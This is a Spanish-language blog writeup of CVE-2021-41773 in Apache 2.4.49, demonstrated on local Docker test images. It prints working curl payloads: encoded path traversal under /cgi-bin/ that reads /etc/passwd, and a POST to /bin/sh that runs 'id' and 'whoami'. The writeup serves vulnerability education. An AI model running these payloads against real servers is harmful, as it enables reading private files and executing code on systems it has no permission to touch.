
CVE-2021-41773
Hola chicos, ayer se lanzó el nuevo CVE-2021-41773 para la versión 2.4.49 de Apache. Así que en este caso, quiero explicar sobre esta vulnerabilidad de Apache.
Así que, creo que ustedes quieren probar esta vulnerabilidad en un sitio web. Tengo un lugar de pruebas para ustedes. Este es el sitio web para descargar la imagen Docker del ejemplo de Apache 2.4.49 Imagen Docker
Nota: hay dos imágenes, with-cgid y no-cgid. Necesitan descargar ambas imágenes
Primero descarguen la docker image en su máquina.
no-cgid: sudo docker pull blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker pull blueteamsteve/cve-2021-41773:with-cgid
no-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid
Honestamente, no sé cómo se le ocurrió encontrar esta vulnerabilidad. Así que no puedo explicarlo completamente. Pero haré mi mejor esfuerzo para hablar de todo lo que entiendo sobre este CVE.
Este CVE es un poco interesante porque tiene dos vulnerabilidades. Son LFDdivulgación de archivos locales y RCE ejecución remota de código. ¡Genial!. Así que, en esta publicación explicaré ambas vulnerabilidades de este CVE.
Entonces, comencemos con la vulnerabilidad de divulgación de archivos locales. Si conoces Apache, puedes notar que cgi-bin(Interfaz común de puerta de enlace) es la ruta predeterminada que define una forma para que un servidor web interactúe con programas externos generadores de contenido en Apache-2.4.49
Pero esta ruta está Forbidden para todos e incluso para el administrador. Hmm, interesante, ¿verdad?
Y si conoces la vulnerabilidad de divulgación de archivos locales, sabrás que la mayoría de las vulnerabilidades LFD ocurren en rutas prohibidas.
Así que probemos payloads simples de LFI en la ruta /cgi-bin/.
Puse ../../../../../ antes de /etc/paswd.
(Si quieres saber qué es ../, echa un vistazo a esta publicación de blogBypass de divulgación de archivos locales)
Con curl:
curl http://localhost:8080/cgi-bin/../../../../../etc/passwd

Con burpsuite:

Como puedes ver, obtuvimos un error con este payload simple. Con curl obtuvimos el código de estado 404, error Not Found, y con Burp obtuvimos el error 400 Bad Request.
Eso significa que debemos codificar nuestro payload con codificación URL. Así que intentémoslo y veamos qué obtenemos.
Entonces codifiqué el . a URL. Nota: . es %2E y también %2e en codificación URL.
Con curl:
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

Con Burp:

¡Sí!. Nuestro payload funcionó ahora. Podemos leer el /etc/passwd del sitio web.
Así que espero que ahora hayas entendido la vulnerabilidad LFD de este CVE. Entonces, continuemos con la vulnerabilidad RCE de este CVE de Apache 2.4.49.
Para explicar la vulnerabilidad RCE de este CVE, necesitas entender algunos conceptos básicos de RCE y linux basics.
Echa un vistazo a esta publicación de blog para saber Qué es RCE
Ah, creo que pensaste que dije algo mal cuando mencioné linux basics. No. No dije mal porque realmente los necesitamos. ¡Así que comencemos!
Primero déjame mostrarte el payload que funciona y te explicaré cómo funcionó.
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;whoami'
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'
Con Curl:

Entonces déjame explicar sobre este payload.
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'
Como puedes ver, la ruta /cgi-bin/ y la codificación .%2e son iguales. Pero ahora hay dos opciones más. Eran -d datos y /bin/sh /bin/bash. Entonces, déjame explicar por qué necesitamos ponerlos.
Primero, queremos obtener ejecución remota de código, ¿verdad?.
Entonces, como sabes, en sistemas basados en linux /bin/bash es la parte principal para ejecutar y escribir comandos y shells. Así que necesitamos bash para ejecutar nuestros comandos en el servidor web. Echa un vistazo a estoQué es Bash en linux.
Bien, ahora digamos que podemos obtener /bin/sh. Solo necesitamos inyectar nuestros comandos. Podemos poner nuestra inyección como datos con curl.
Entonces nuestro payload es C|echo;id. Déjame explicar qué es esto.
Así que C no es nada. Podemos poner lo que queramos antes del |. como Comdey|.
El echo;id es solo un truco de linux.Entonces, dije que necesitabas fundamentos de linux Fundamentos de echo
Si ponemos todo esto junto, obtenemos RCE en Apache 2.4.49.
Gracias por leer, chicos. Este es mi primer writeup para CVEs. Perdónenme si fui malo explicando esto. Y también por favor denme sugerencias.
